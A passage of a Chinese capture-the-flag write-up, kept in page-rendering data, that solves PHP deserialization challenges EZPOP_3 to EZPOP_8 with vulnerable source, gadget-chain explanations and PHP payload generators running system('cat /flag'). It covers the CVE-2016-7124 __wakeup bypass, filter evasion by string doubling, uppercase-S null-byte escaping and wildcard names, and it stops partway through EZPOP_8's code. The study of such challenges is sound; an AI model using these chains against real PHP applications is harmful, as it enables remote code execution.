",[33,1808,1312],{"code":1312}," 打出来。",[15,1811,1635],{},[88,1813,1816],{"className":1814,"code":1815,"language":302,"meta":94},[300],"\u003C?php\nclass Fracture {\n    public $delegate = true;\n}\nclass Specter {\n    public $latch = true;\n}\nclass Thunk {\n    public $operand;\n}\nclass Conduit {\n    public $handler;\n}\n$f = new Fracture();\n$s = new Specter();\n$c = new Conduit();\n$t = new Thunk();\n$t->operand = $s;\n$c->handler = $t;\n$f->delegate = $c;\n\necho urlencode(serialize($f));\n\n?>\n",[33,1817,1815],{"__ignoreMap":94},[10,1819,1821],{"id":1820},"ezpop_3","EZPOP_3",[88,1823,1826],{"className":1824,"code":1825,"language":302,"meta":94},[300],"\u003C?php\nclass Chrysalis {\n    public $vector;\n\n    public function __wakeup() {\n        if ($this->vector) {\n            $this->vector->catalyze();\n        }\n    }\n\n    public function __destruct() {\n        if ($this->vector) {\n            $this->vector->expunge();\n        }\n    }\n}\n\nclass Pulsar {\n    public $token;\n\n    public function __invoke() {\n        echo $this->token;\n    }\n}\n\n\nclass Stratum {\n    public $binding;\n\n    public function __call($name, $args) {\n        $f = $this->binding->$name;\n        return $f();\n    }\n}\n\nclass Lattice {\n    public $facet;\n\n    public function expunge() {\n        if ($this->facet instanceof Sluice) {\n            $this->facet->drain();\n        }\n    }\n\n    public function catalyze() {\n        if ($this->facet) {\n            $this->facet->surge();\n        }\n    }\n}\n\nclass Lexicon {\n    public $ambit;\n\n    public function __get($name) {\n        return $this->ambit;\n    }\n}\n\n\nclass Mirage {\n    public $latch = false;\n    public $a;\n\n    public function __toString() {\n        if ($this->latch) {\n            eval($this->a);\n            return '';\n        }\n        return \"no\";\n    }\n}\n\nclass Sluice {\n    public function drain() {\n        echo \"decoy end\\n\";\n    }\n}\n\nhighlight_file(__FILE__);\n\nif (isset($_GET['data'])) {\n    unserialize($_GET['data']);\n}\n?>\n",[33,1827,1825],{"__ignoreMap":94},[15,1829,1830,1831,1731,1834,1837,1838,1841,1842,1845],{},"这一题的入口在 ",[33,1832,1833],{"code":1833},"Chrysalis::__wakeup()",[33,1835,1836],{"code":1836},"unserialize()"," 时会自动调用它，而里面执行的是 ",[33,1839,1840],{"code":1840},"$this->vector->catalyze()","。所以最外层对象可以先放成 ",[33,1843,1844],{"code":1844},"Chrysalis","，让反序列化一开始就进入链子。",[15,1847,1848,1849,1774,1851,1727,1854,1857,1858,1861,1862,1865,1866,1778,1869,1872,1873,1875,1876,1879,1880,311],{},"接着让 ",[33,1850,1844],{"code":1844},[33,1852,1853],{"code":1853},"$vector",[33,1855,1856],{"code":1856},"Lattice","。在 ",[33,1859,1860],{"code":1860},"Lattice::catalyze()"," 里，会继续调用 ",[33,1863,1864],{"code":1864},"$this->facet->surge()","。这里如果把 ",[33,1867,1868],{"code":1868},"$facet",[33,1870,1871],{"code":1871},"Stratum","，由于 ",[33,1874,1871],{"code":1871}," 本身没有 ",[33,1877,1878],{"code":1878},"surge()"," 这个方法，就会触发 ",[33,1881,1882],{"code":1882},"Stratum::__call()",[15,1884,1885,1887,1888,1891,1892,1727,1895,1898,1899,1902,1903,1906,1907,1909],{},[33,1886,1882],{"code":1882}," 里先执行 ",[33,1889,1890],{"code":1890},"$f = $this->binding->$name","。因为这里访问的是不存在的属性，所以只要把 ",[33,1893,1894],{"code":1894},"$binding",[33,1896,1897],{"code":1897},"Lexicon","，就会触发 ",[33,1900,1901],{"code":1901},"Lexicon::__get()","，并返回 ",[33,1904,1905],{"code":1905},"$this->ambit","。这样 ",[33,1908,1742],{"code":1742}," 实际上就变成了我们可控的对象。",[15,1911,1912,1913,1916,1917,1919,1920,1774,1922,1778,1925,1928,1929,1932,1933,311],{},"下一行是 ",[33,1914,1915],{"code":1915},"return $f()","，说明 ",[33,1918,1742],{"code":1742}," 需要能被当作函数调用，所以把 ",[33,1921,1897],{"code":1897},[33,1923,1924],{"code":1924},"$ambit",[33,1926,1927],{"code":1927},"Pulsar","。对象形式调用会触发 ",[33,1930,1931],{"code":1931},"Pulsar::__invoke()","，而这个方法里有 ",[33,1934,1935],{"code":1935},"echo $this->token",[15,1937,1938,1939,1774,1941,1778,1944,1781,1947,1949,1950,1953,1954,1774,1956,1958,1959,1961,1962,311],{},"这样一来，再把 ",[33,1940,1927],{"code":1927},[33,1942,1943],{"code":1943},"$token",[33,1945,1946],{"code":1946},"Mirage",[33,1948,1784],{"code":1784}," 时就会自动触发 ",[33,1951,1952],{"code":1952},"Mirage::__toString()","。真正的危险点就在这里，只要 ",[33,1955,1946],{"code":1946},[33,1957,1701],{"code":1701}," 为 ",[33,1960,1631],{"code":1631},"，就会执行 ",[33,1963,1964],{"code":1964},"eval($this->a)",[15,1966,1967,1968,1774,1970,1972,1973,1975,1976,1979,1980,1799,1982,1799,1984,1799,1986,1799,1988,1799,1990,1799,1992,311],{},"因此最后只需要把 ",[33,1969,1946],{"code":1946},[33,1971,1701],{"code":1701}," 设为 ",[33,1974,1631],{"code":1631},"，再把 ",[33,1977,1978],{"code":1978},"$a"," 填成命令执行代码，整条链子就是 ",[33,1981,1833],{"code":1833},[33,1983,1860],{"code":1860},[33,1985,1882],{"code":1882},[33,1987,1901],{"code":1901},[33,1989,1931],{"code":1931},[33,1991,1952],{"code":1952},[33,1993,1994],{"code":1994},"eval()",[15,1996,1635],{},[88,1998,2001],{"className":1999,"code":2000,"language":302,"meta":94},[300],"\u003C?php\nclass Chrysalis {\n    public $vector;\n}\nclass Pulsar {\n    public $token;\n}\nclass Stratum {\n    public $binding;\n}\nclass Lattice {\n    public $facet;\n}\nclass Lexicon {\n    public $ambit;\n}\nclass Mirage {\n    public $latch = true;\n    public $a = \"system('cat \u002Fflag');\";\n}\nclass Sluice {\n\n}\n$c = new Chrysalis();\n$p = new Pulsar();\n$s = new Stratum();\n$la = new Lattice();\n$le = new Lexicon();\n$m = new Mirage();\n$sl = new Sluice();\n\n$p->token = $m;\n$c->vector = $la;\n$la->facet = $s;\n$le->ambit = $p;\n$s->binding = $le;\necho urlencode(serialize($c));\n?>\n",[33,2002,2000],{"__ignoreMap":94},[10,2004,2006],{"id":2005},"ezpop_4","EZPOP_4",[88,2008,2011],{"className":2009,"code":2010,"language":302,"meta":94},[300],"\u003C?php\nerror_reporting(0);\n\nclass ObsidianSanctum {\n    public $note = \"guest\";\n    public $flareValue = \"\";\n    protected $gate = \"\";\n    private $echoer;\n\n    public function __destruct() {\n        if (md5(md5($this->note)) == md5($this->gate)) {\n            if (isset($this->echoer)) {\n                $this->echoer->flare = $this->flareValue;\n            }\n        }\n    }\n}\n\nclass SpectralPrism {\n    public $engine;\n    public $payload;\n\n    public function __set($name, $value) {\n        if ($name === \"flare\" && $value === \"ignite\") {\n            $runner = $this->engine;\n            if (is_callable($runner)) {\n                $runner($this->payload);\n            } else {\n                die(\"Denied.\\n\");\n            }\n        }\n    }\n}\n\nclass RuntimeScript {\n    public function __invoke($source) {\n        if (!is_string($source)) {\n            die(\"Denied.\\n\");\n        }\n        eval($source);\n    }\n}\n\nhighlight_file(__FILE__);\n\nif (isset($_GET['data'])) {\n    unserialize($_GET['data']);\n}\n?>\n",[33,2012,2010],{"__ignoreMap":94},[15,2014,2015,2016,2019,2020,2023,2024,1975,2027,1778,2030,2033,2034,2037],{},"这一题的触发点在 ",[33,2017,2018],{"code":2018},"ObsidianSanctum::__destruct()","。析构时会先判断 ",[33,2021,2022],{"code":2022},"md5(md5($this->note)) == md5($this->gate)","，只要让 ",[33,2025,2026],{"code":2026},"$note = \"1\"",[33,2028,2029],{"code":2029},"$gate",[33,2031,2032],{"code":2032},"md5(\"1\")","，也就是 ",[33,2035,2036],{"code":2036},"c4ca4238a0b923820dcc509a6f75849b","，这个条件就能成立。",[15,2039,2040,2041,1743,2044,2047,2048,2051,2052,2055,2056,2059,2060,311],{},"条件通过之后，会继续判断 ",[33,2042,2043],{"code":2043},"isset($this->echoer)",[33,2045,2046],{"code":2046},"$this->echoer->flare = $this->flareValue","。这里的关键是原类中的 ",[33,2049,2050],{"code":2050},"$echoer"," 是 ",[33,2053,2054],{"code":2054},"private","，所以序列化时不能直接靠外部正常赋值，只能先用 ",[33,2057,2058],{"code":2058},"public"," 占位生成序列化字符串，再把属性名替换成真正的私有属性名 ",[33,2061,2062],{"code":2062},"\\0ObsidianSanctum\\0echoer",[15,2064,2065,2066,1727,2068,2071,2072,2075,2076,2079,2080,2083,2084,2087,2088,2091,2092,1774,2095,1778,2098,2101],{},"接着看赋值目标，如果把 ",[33,2067,2050],{"code":2050},[33,2069,2070],{"code":2070},"SpectralPrism","，那么给不存在的属性 ",[33,2073,2074],{"code":2074},"flare"," 赋值时，就会触发 ",[33,2077,2078],{"code":2078},"SpectralPrism::__set()","。而 ",[33,2081,2082],{"code":2082},"__set()"," 里要求 ",[33,2085,2086],{"code":2086},"$name === \"flare\""," 且 ",[33,2089,2090],{"code":2090},"$value === \"ignite\"","，所以把 ",[33,2093,2094],{"code":2094},"ObsidianSanctum",[33,2096,2097],{"code":2097},"$flareValue",[33,2099,2100],{"code":2100},"ignite"," 即可进入后续逻辑。",[15,2103,2104,2105,2107,2108,2111,2112,2115,2116,2119,2120,1774,2122,1727,2125,2128,2129,2132,2133,311],{},"进入 ",[33,2106,2082],{"code":2082}," 后，代码会取出 ",[33,2109,2110],{"code":2110},"$this->engine"," 赋给 ",[33,2113,2114],{"code":2114},"$runner","，并检查 ",[33,2117,2118],{"code":2118},"is_callable($runner)","。因此这里让 ",[33,2121,2070],{"code":2070},[33,2123,2124],{"code":2124},"$engine",[33,2126,2127],{"code":2127},"RuntimeScript"," 对象，就能在后面的 ",[33,2130,2131],{"code":2131},"$runner($this->payload)"," 里触发 ",[33,2134,2135],{"code":2135},"RuntimeScript::__invoke()",[15,2137,2138,2139,2141,2142,2145,2146,2148,2149,1774,2151,2154,2155,1799,2157,1799,2159,1799,2161,311],{},"最后 ",[33,2140,2135],{"code":2135}," 会对传入的 ",[33,2143,2144],{"code":2144},"$source"," 执行 ",[33,2147,1994],{"code":1994},"，所以只需要把 ",[33,2150,2070],{"code":2070},[33,2152,2153],{"code":2153},"$payload"," 设成命令执行代码即可。整条利用链就是 ",[33,2156,2018],{"code":2018},[33,2158,2078],{"code":2078},[33,2160,2135],{"code":2135},[33,2162,1994],{"code":1994},[15,2164,1635],{},[88,2166,2169],{"className":2167,"code":2168,"language":302,"meta":94},[300],"\u003C?php\nclass ObsidianSanctum {\n    public $note = \"1\";\n    public $flareValue = \"ignite\";\n    protected $gate = \"c4ca4238a0b923820dcc509a6f75849b\";\n    public $echoer;\n}\nclass SpectralPrism {\n    public $engine;\n    public $payload = \"system('cat \u002Fflag');\";\n}\nclass RuntimeScript {\n\n}\n$o = new ObsidianSanctum();\n$s = new SpectralPrism();\n$r = new RuntimeScript();\n$s->engine = $r;\n$o->echoer = $s;\n\n$data = serialize($o);\n$data = str_replace('s:6:\"echoer\";', 's:23:\"' . \"\\0ObsidianSanctum\\0echoer\" . '\";', $data);\necho urlencode($data);\n\n?>\n",[33,2170,2168],{"__ignoreMap":94},[10,2172,2174],{"id":2173},"ezpop_5","EZPOP_5",[88,2176,2179],{"className":2177,"code":2178,"language":302,"meta":94},[300],"\u003C?php\nclass ChronoVault {\n    public $memo = \"guest\";\n    protected $token = \"none\";\n    private $isAdmin = false;\n    public $bridge;\n\n    public function __wakeup() {\n        $this->token = \"none\";\n        $this->isAdmin = false;\n    }\n\n    public function __destruct() {\n        if ($this->isAdmin && $this->token === \"QCCTFyyds\" && isset($this->bridge)) {\n            $this->bridge->fire($this->memo);\n        }\n    }\n}\n\nclass DirectiveEngine {\n    public $sandbox;\n\n    public function __invoke() {\n        return ($this->sandbox)();\n    }\n}\n\nclass EventBridge {\n    public $engine;\n\n    public function __call($name, $args) {\n        return ($this->engine)();\n    }\n}\n\nclass ExecutionSandbox {\n    public $script;\n\n    public function __invoke() {\n        if (preg_match(\"\u002Fflag\u002Fi\", $this->script)) {\n            die(\"Denied.\\n\");\n        }\n        eval($this->script);\n    }\n}\n\nhighlight_file(__FILE__);\n\nif (isset($_GET['data'])) {\n    unserialize($_GET['data']);\n}\n?>\n",[33,2180,2178],{"__ignoreMap":94},[15,2182,2183,2184,2187,2188,2190,2191,1975,2194,2190,2197,2200],{},"这一题的关键卡点在 ",[33,2185,2186],{"code":2186},"ChronoVault::__wakeup()","。正常情况下，反序列化时会把 ",[33,2189,1943],{"code":1943}," 重置成 ",[33,2192,2193],{"code":2193},"none",[33,2195,2196],{"code":2196},"$isAdmin",[33,2198,2199],{"code":2199},"false","，这样析构时的条件就永远进不去。",[15,2202,2203,2204,2207,2208,2211,2212,2215,2216,2219,2220,2223,2224,2226,2227,2229,2230,773,2232,2234],{},"但题目环境是老版本 ",[33,2205,2206],{"code":2206},"PHP","，可以利用 ",[33,2209,2210],{"code":2210},"CVE-2016-7124"," 这一类 ",[33,2213,2214],{"code":2214},"__wakeup()"," 绕过。做法就是先正常构造对象，再把序列化结果里 ",[33,2217,2218],{"code":2218},"ChronoVault"," 的属性数量从真实的 ",[33,2221,2222],{"code":2222},"4"," 改成更大的值，让 ",[33,2225,1836],{"code":1836}," 时跳过 ",[33,2228,2214],{"code":2214},"，这样我们伪造进去的 ",[33,2231,1943],{"code":1943},[33,2233,2196],{"code":2196}," 就能保留下来。",[15,2236,2237,2238,2241,2242,311,2245,2248,2249,2252,2253,1761,2256,2259,2260,311],{},"条件保住之后，",[33,2239,2240],{"code":2240},"ChronoVault::__destruct()"," 会执行 ",[33,2243,2244],{"code":2244},"$this->bridge->fire($this->memo)",[33,2246,2247],{"code":2247},"EventBridge"," 里并没有 ",[33,2250,2251],{"code":2251},"fire()"," 这个方法，所以这里会自动触发 ",[33,2254,2255],{"code":2255},"EventBridge::__call()",[33,2257,2258],{"code":2258},"__call()"," 里直接执行的是 ",[33,2261,2262],{"code":2262},"($this->engine)()",[15,2264,1749,2265,2268,2269,1774,2271,2273,2274,2277,2278,2280,2281,2283,2284,311],{},[33,2266,2267],{"code":2267},"engine"," 只需要是一个可调用对象即可，因此最短链就是让 ",[33,2270,2247],{"code":2247},[33,2272,2124],{"code":2124}," 直接指向 ",[33,2275,2276],{"code":2276},"ExecutionSandbox","。因为 ",[33,2279,2276],{"code":2276}," 本身实现了 ",[33,2282,1764],{"code":1764},"，所以对象函数调用时会直接进入 ",[33,2285,2286],{"code":2286},"ExecutionSandbox::__invoke()",[15,2288,2289,2290,1698,2292,2295,2296,2299,2300,2302,2303,2305,2306,2308,2309,1778,2312,2315],{},"最后的利用点就在 ",[33,2291,2286],{"code":2286},[33,2293,2294],{"code":2294},"eval($this->script)","。虽然代码会用 ",[33,2297,2298],{"code":2298},"preg_match(\"\u002Fflag\u002Fi\", $this->script)"," 过滤掉直接出现的 ",[33,2301,1312],{"code":1312},"，但这题实际不需要命令执行去读文件，因为 ",[33,2304,1312],{"code":1312}," 就在 ",[33,2307,791],{"code":791}," 的输出里，所以把 ",[33,2310,2311],{"code":2311},"$script",[33,2313,2314],{"code":2314},"phpinfo();"," 即可。",[15,2317,2318,2319,2321,2322,773,2324,2326,2327,2132,2329,2331,2332,2334,2335,2145,2337,311],{},"整条链子就是：绕过 ",[33,2320,2186],{"code":2186},"，保留伪造的 ",[33,2323,1943],{"code":1943},[33,2325,2196],{"code":2196},"，然后在 ",[33,2328,2240],{"code":2240},[33,2330,2255],{"code":2255},"，再进入 ",[33,2333,2286],{"code":2286},"，最终通过 ",[33,2336,1994],{"code":1994},[33,2338,2314],{"code":2314},[15,2340,1635],{},[88,2342,2345],{"className":2343,"code":2344,"language":302,"meta":94},[300],"\u003C?php\nclass ChronoVault {\n    public $memo = \"guest\";\n    protected $token = \"QCCTFyyds\";\n    private $isAdmin = true;\n    public $bridge;\n}\nclass EventBridge {\n    public $engine;\n}\nclass ExecutionSandbox {\n    public $script = \"phpinfo();\";\n}\n\n$o = new ChronoVault();\n$b = new EventBridge();\n$s = new ExecutionSandbox();\n\n$b->engine = $s;\n$o->bridge = $b;\n\n$data = serialize($o);\n$data = preg_replace('\u002F^O:\\d+:\"ChronoVault\":4:\u002F', 'O:11:\"ChronoVault\":5:', $data);\necho urlencode($data);\n?>\n\n",[33,2346,2344],{"__ignoreMap":94},[10,2348,2350],{"id":2349},"ezpop_6","EZPOP_6",[88,2352,2355],{"className":2353,"code":2354,"language":302,"meta":94},[300],"\u003C?php\n\u002F\u002F经常做复杂的链子对身体不好，我们来个简单的吧\n$flag = file_get_contents(\"\u002Fflag\");\n\nclass A {\n    public $obj;\n\n    public function __destruct() {\n        if (is_object($this->obj)) {\n            echo $this->obj;\n        }\n    }\n}\n\nclass B {\n    public $data;\n\n    public function __toString() {\n        return $this->data->run();\n    }\n}\n\nclass C {\n    public $qcctf = \"nope\";\n\n    public function run() {\n        if ($this->qcctf === \"get_flag\") {\n            return $GLOBALS['flag'];\n        }\n        return \"\";\n    }\n}\n\nhighlight_file(__FILE__);\n\nif (isset($_GET['data'])) {\n    $data = str_replace(\"flag\", \"\", $_GET['data']);\n    @unserialize($data);\n}\n?>\n",[33,2356,2354],{"__ignoreMap":94},[15,2358,2359,2360,2363,2364,2367,2368,1761,2371,2373,2374,311],{},"这一题的链子非常短，入口就在 ",[33,2361,2362],{"code":2362},"A::__destruct()","。对象销毁时，如果 ",[33,2365,2366],{"code":2366},"$obj"," 还是一个对象，就会执行 ",[33,2369,2370],{"code":2370},"echo $this->obj",[33,2372,1784],{"code":1784}," 对象时会自动触发 ",[33,2375,1708],{"code":1708},[15,2377,2378,2379,1774,2382,1727,2384,2387,2388,2390,2391,2393,2394,2079,2397,2399,2400,2403,2404,1774,2406,1727,2409,2412,2413,311],{},"所以第一步就是让 ",[33,2380,2381],{"code":2381},"A",[33,2383,2366],{"code":2366},[33,2385,2386],{"code":2386},"B","。这样在 ",[33,2389,2362],{"code":2362}," 里输出 ",[33,2392,2386],{"code":2386}," 对象时，就会进入 ",[33,2395,2396],{"code":2396},"B::__toString()",[33,2398,2396],{"code":2396}," 里直接调用的是 ",[33,2401,2402],{"code":2402},"$this->data->run()","，因此再让 ",[33,2405,2386],{"code":2386},[33,2407,2408],{"code":2408},"$data",[33,2410,2411],{"code":2411},"C"," 对象，就能继续进入 ",[33,2414,2415],{"code":2415},"C::run()",[15,2417,2418,2419,2421,2422,2424,2425,2428,2429,2432,2433,2436,2437,2440],{},"真正返回 ",[33,2420,1312],{"code":1312}," 的条件在 ",[33,2423,2415],{"code":2415}," 里，只有当 ",[33,2426,2427],{"code":2427},"$qcctf === \"get_flag\""," 时，才会返回 ",[33,2430,2431],{"code":2431},"$GLOBALS['flag']","。如果直接把这个值写成 ",[33,2434,2435],{"code":2435},"get_flag","，传参时会被外层的 ",[33,2438,2439],{"code":2439},"str_replace(\"flag\", \"\", $_GET['data'])"," 删掉，导致反序列化后的属性值不对。",[15,2442,2443,2444,2446,2447,2449,2450,2453,2454,2456,2457,2459,2460,311],{},"不过这里的过滤发生在 ",[33,2445,1836],{"code":1836}," 之前，所以可以反过来利用这一点。只要先把序列化串里的 ",[33,2448,2435],{"code":2435}," 替换成 ",[33,2451,2452],{"code":2452},"get_flflagag","，服务端在执行 ",[33,2455,2439],{"code":2439}," 之后，就会把中间那段 ",[33,2458,1312],{"code":1312}," 删掉，最终还原成真正想要的 ",[33,2461,2435],{"code":2435},[15,2463,2464,2465,1799,2467,1799,2469,2471,2472,2475,2476,2478,2479,311],{},"这样一来，整条链子就是 ",[33,2466,2362],{"code":2362},[33,2468,2396],{"code":2396},[33,2470,2415],{"code":2415},"，同时利用前置的字符串替换把 ",[33,2473,2474],{"code":2474},"$qcctf"," 修正回 ",[33,2477,2435],{"code":2435},"，最后就能正常拿到 ",[33,2480,1312],{"code":1312},[15,2482,1635],{},[88,2484,2487],{"className":2485,"code":2486,"language":302,"meta":94},[300],"\u003C?php\nclass A {\n    public $obj;\n}\n\nclass B {\n    public $data;\n}\n\nclass C {\n    public $qcctf = \"get_flag\";\n}\n\n$a = new A();\n$b = new B();\n$c = new C();\n$b->data = $c;\n$a->obj = $b;\n$poc = serialize($a);\n$data = str_replace(\"flag\",\"flflagag\" , $poc);\necho $data;\n\n?>\n",[33,2488,2486],{"__ignoreMap":94},[10,2490,2492],{"id":2491},"ezpop_7","EZPOP_7",[88,2494,2497],{"className":2495,"code":2496,"language":302,"meta":94},[300],"\u003C?php\nclass Vault {\n    public $name;\n    protected $id;\n    private $age;\n\n    public function setAge($age) {\n        $this->age = $age;\n    }\n\n    public function getAge() {\n        return $this->age;\n    }\n\n    public function __invoke($id) {\n        $name = $this->id;\n        $name->name = $id;\n        $name->age = $this->name;\n    }\n}\n\nclass VaultA extends Vault {\n    public function __destruct() {\n        echo file_get_contents('\u002Fsecret.txt');\n    }\n}\n\nclass VaultB extends Vault {\n    public function __set($key, $value) {\n        $this->name = $value;\n    }\n}\n\nclass VaultC extends Vault {\n    public function __check($age) {\n        $mix = serialize([$this->getAge(), $this->name]);\n        if (stripos($mix, \"flag\") !== false) {\n            die(\"Hacker!\");\n        }\n    }\n\n    public function __wakeup() {\n        $age = $this->getAge();\n        $name = $this->id;\n        $name->setAge($age);\n        $name($this);\n    }\n}\n\nclass VaultD extends Vault {\n    public $token = \"none\";\n\n    public function __invoke($obj) {\n        if (isset($obj->token) && $obj->token === \"QCCTFyyds\") {\n            if (is_string($obj->name) && stripos($obj->name, \"flag\") === false) {\n                eval($obj->name);\n            }\n        }\n    }\n}\n\nfunction is_printable($s) {\n    for ($i = 0; $i \u003C strlen($s); $i++) {\n        if (!(ord($s[$i]) >= 32 && ord($s[$i]) \u003C= 125)) {\n            return false;\n        }\n    }\n    return true;\n}\n\nhighlight_file(__FILE__);\n\nif (isset($_GET['data'])) {\n    $data = $_GET['data'];\n    if (!is_printable($data)) {\n        die(\"Nope\");\n    }\n    $obj = @unserialize($data);\n    if (!($obj instanceof VaultC)) {\n        die(\"Nope\");\n    }\n}\n?>\n",[33,2498,2496],{"__ignoreMap":94},[15,2500,2501,2502,2505,2506,2509],{},"这一题先看对可控 ",[33,2503,2504],{"code":2504},"GET"," 变量 ",[33,2507,2508],{"code":2508},"data"," 的限制。第一层限制是：",[88,2511,2514],{"className":2512,"code":2513,"language":302,"meta":94},[300],"$data = $_GET['data'];\nif (!is_printable($data)) {\n    die(\"Nope\");\n}\n",[33,2515,2513],{"__ignoreMap":94},[15,2517,2518,2521,2522,2525,2526,2529,2530,2532,2533,773,2536,2538,2539,2542,2543,2051,2546,2549,2550,311],{},[33,2519,2520],{"code":2520},"is_printable()"," 会逐字节检查传入字符串，要求所有字符都落在 ",[33,2523,2524],{"code":2524},"ASCII 32"," 到 ",[33,2527,2528],{"code":2528},"125"," 之间。问题在于，",[33,2531,2206],{"code":2206}," 序列化 ",[33,2534,2535],{"code":2535},"protected",[33,2537,2054],{"code":2054}," 属性时，会自动在属性名里插入不可见的空字节 ",[33,2540,2541],{"code":2541},"\\x00","。这个字符的 ",[33,2544,2545],{"code":2545},"ASCII",[33,2547,2548],{"code":2548},"0","，显然过不了 ",[33,2551,2520],{"code":2520},[15,2553,2554,2555,2557,2558,2561,2562,2565,2566,2568,2569,2572,2573,2576,2577,1735,2579,2582,2583,311],{},"绕过点就在 ",[33,2556,2206],{"code":2206}," 反序列化对大写 ",[33,2559,2560],{"code":2560},"S"," 的处理上。普通字符串是小写 ",[33,2563,2564],{"code":2564},"s","，里面放的是真实字节；如果把它改成大写 ",[33,2567,2560],{"code":2560},"，就可以在字符串内容里使用转义形式。也就是说，原本会出现空字节的属性名可以从 ",[33,2570,2571],{"code":2571},"s:5:\"\\x00*\\x00id\""," 改写成 ",[33,2574,2575],{"code":2575},"S:5:\"\\00*\\00id\"","，这样传输时看到的都是可见字符，但反序列化时 ",[33,2578,2206],{"code":2206},[33,2580,2581],{"code":2581},"\\00"," 还原回真正的 ",[33,2584,2541],{"code":2541},[15,2586,2587],{},"第二层限制是：",[88,2589,2592],{"className":2590,"code":2591,"language":302,"meta":94},[300],"$obj = @unserialize($data);\nif (!($obj instanceof VaultC)) {\n    die(\"Nope\");\n}\n",[33,2593,2591],{"__ignoreMap":94},[15,2595,2596,2597,2600,2601,2604],{},"这说明最外层入口对象必须是 ",[33,2598,2599],{"code":2599},"VaultC","，所以整条链子必须从 ",[33,2602,2603],{"code":2603},"VaultC::__wakeup()"," 起。",[15,2606,2607,2608,1698,2611,2613],{},"再看终点，真正的危险点在 ",[33,2609,2610],{"code":2610},"VaultD::__invoke()",[33,2612,1994],{"code":1994},"：",[88,2615,2618],{"className":2616,"code":2617,"language":302,"meta":94},[300],"if (isset($obj->token) && $obj->token === \"QCCTFyyds\") {\n    if (is_string($obj->name) && stripos($obj->name, \"flag\") === false) {\n        eval($obj->name);\n    }\n}\n",[33,2619,2617],{"__ignoreMap":94},[15,2621,2622,2623,2626,2627,2630,2631,2634,2635,2637,2638,2640,2641,2643],{},"这里要求传入的对象同时满足三个条件：一是有 ",[33,2624,2625],{"code":2625},"token"," 属性且值严格等于 ",[33,2628,2629],{"code":2629},"QCCTFyyds","，二是 ",[33,2632,2633],{"code":2633},"name"," 必须是字符串，三是 ",[33,2636,2633],{"code":2633}," 里不能直接出现 ",[33,2639,1312],{"code":1312},"。所以我们最终要控制的其实就是 ",[33,2642,2599],{"code":2599}," 对象本身，让它拥有：",[188,2645,2646,2651,2656],{},[29,2647,2648],{},[33,2649,2650],{"code":2650},"$id = new VaultD()",[29,2652,2653],{},[33,2654,2655],{"code":2655},"$token = \"QCCTFyyds\"",[29,2657,2658],{},[33,2659,2660],{"code":2660},"$name = \"system('cat \u002Ffla*');\"",[15,2662,2663,2664,2667,2668,2671,2672,2674,2675,2677],{},"之所以把命令写成 ",[33,2665,2666],{"code":2666},"cat \u002Ffla*","，是因为 ",[33,2669,2670],{"code":2670},"stripos($obj->name, \"flag\") === false"," 会拦截直接出现的 ",[33,2673,1312],{"code":1312},"，但通配符形式不包含连续的 ",[33,2676,1312],{"code":1312}," 字样，依然可以匹配到目标文件。",[15,2679,2680,2681,2683,2684,2111,2687,2690],{},"触发链也很直接。",[33,2682,2603],{"code":2603}," 里先取出 ",[33,2685,2686],{"code":2686},"$this->id",[33,2688,2689],{"code":2689},"$name","，然后执行：",[88,2692,2695],{"className":2693,"code":2694,"language":302,"meta":94},[300],"$name($this);\n",[33,2696,2694],{"__ignoreMap":94},[15,2698,2699,2700,1727,2702,2705,2706,2708,2709,2711,2712,2714,2715,2717,2718,311],{},"如果让 ",[33,2701,2686],{"code":2686},[33,2703,2704],{"code":2704},"VaultD"," 对象，那么这里就会触发 ",[33,2707,2610],{"code":2610},"，而传进去的参数正是当前这个 ",[33,2710,2599],{"code":2599}," 对象本身。这样 ",[33,2713,2610],{"code":2610}," 看到的 ",[33,2716,2366],{"code":2366}," 就正好是我们伪造好的 ",[33,2719,2599],{"code":2599},[15,2721,2722,2723,1799,2725,1799,2727,2729,2730,2630,2732,2734,2735,773,2737,2739,2740,311],{},"所以这题其实不需要绕远链，最短利用路径就是：",[33,2724,2603],{"code":2603},[33,2726,2610],{"code":2610},[33,2728,1994],{"code":1994},"。难点不在链子，而在两个限制条件：一是入口对象必须是 ",[33,2731,2599],{"code":2599},[33,2733,2535],{"code":2535}," 属性名里的空字节要靠大写 ",[33,2736,2560],{"code":2560},[33,2738,2581],{"code":2581}," 绕过 ",[33,2741,2520],{"code":2520},[15,2743,1635],{},[88,2745,2748],{"className":2746,"code":2747,"language":302,"meta":94},[300],"\u003C?php\nclass VaultC {\n    public $name = \"system('cat \u002Ffla*');\";\n    protected $id;\n\n    public function __construct() {\n        $this->id = new VaultD();\n    }\n}\n\nclass VaultD {}\n\n$a = new VaultC();\n$a->token = \"QCCTFyyds\";\necho urlencode(serialize($a));\n",[33,2749,2747],{"__ignoreMap":94},[15,2751,2752,2753,2755],{},"先生成普通序列化串，再把其中表示 ",[33,2754,2535],{"code":2535}," 属性名的这一段：",[88,2757,2760],{"className":2758,"code":2759,"language":592,"meta":94},[590],"s:5:\"%00*%00id\"\n",[33,2761,2759],{"__ignoreMap":94},[15,2763,2764],{},"改成：",[88,2766,2769],{"className":2767,"code":2768,"language":592,"meta":94},[590],"S:5:\"\\00*\\00id\"\n",[33,2770,2768],{"__ignoreMap":94},[15,2772,2773,2774,2776,2777,2779,2780,1793,2783,2786,2787,2789],{},"也就是把小写 ",[33,2775,2564],{"code":2564}," 改成大写 ",[33,2778,2560],{"code":2560},"，同时把 ",[33,2781,2782],{"code":2782},"%00",[33,2784,2785],{"code":2785},"%5C00","，这样就能在保持全串可打印的前提下，让反序列化时还原出真正的 ",[33,2788,2535],{"code":2535}," 属性名。",[10,2791,410],{"id":2792},"ezpop_8",[88,2794,2797],{"className":2795,"code":2796,"language":302,"meta":94},[300],"\u003C?php\nerror_reporting(0);\n\n\nfinal class StarRailCabin {\n    public $crewBadge;\n    public $catDoor;\n    public $needle;\n    public $haystack;\n\n    public function __destruct() {\n        if (isset($this->needle)) {\n            $n = (string)$this->needle;\n            if (strlen($n) > 5 || !is_numeric($n) || $n \u003C= 999999) die(\"你行不行呀？\");\n            $gate = $this->catDoor;\n            $gate->partner = \"QingCen\";\n        }\n    }\n}\n\nfinal class CatCafeGate {\n    public $fortuneTeller;\n    public $sparkler;\n\n    public function __set($name, $value) {\n        $oracle = $this->fortuneTeller;\n        if ($oracle() === \"QingCen\") {\n            $engine = $this->sparkler;\n            $engine();\n        }\n    }\n}\n\nfinal class KleeFirework {\n    public $spell;\n    public $scroll;\n\n    public function __invoke() {\n        $cast = $this->spell;\n        $words = $this->scroll;\n        $cast($words);\n    }\n}\n\nfinal class QingCen {\n    public static function echo_name() {\n        return \"QingCen\";\n    